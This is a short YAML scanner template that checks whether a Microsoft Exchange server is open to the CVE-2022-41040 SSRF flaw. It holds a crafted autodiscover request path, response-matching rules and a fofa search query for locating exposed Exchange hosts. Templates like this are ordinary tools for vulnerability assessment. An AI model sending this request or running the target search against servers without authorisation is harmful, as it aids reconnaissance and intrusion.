CVE-2022-41040: Microsoft Exchange SSRF

id: CVE-2022-41040

info:
  name: Microsoft Exchange SSRF
  author: zan8in
  severity: high
  description: |-
    r0 是 nmap 脚本  r1 是 github 未经验证得 PoC
    fofa: app="Microsoft-Exchange"
  reference:
    - https://github.com/numanturle/CVE-2022-41040
    - https://blog.csdn.net/dnoir/article/details/127151209
  tags: cve,cve2022,exchange,ssrf
  created: 2022-12-15

rules:
  r0:
    request:
      method: GET
      path: /autodiscover/autodiscover.json?@URL/&Email=autodiscover/autodiscover.json%3f@URL
    expression: response.body.bcontains(b'IIS Web Core') && response.raw_header.bcontains(b'X-BackEndCookie')
expression: r0()

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.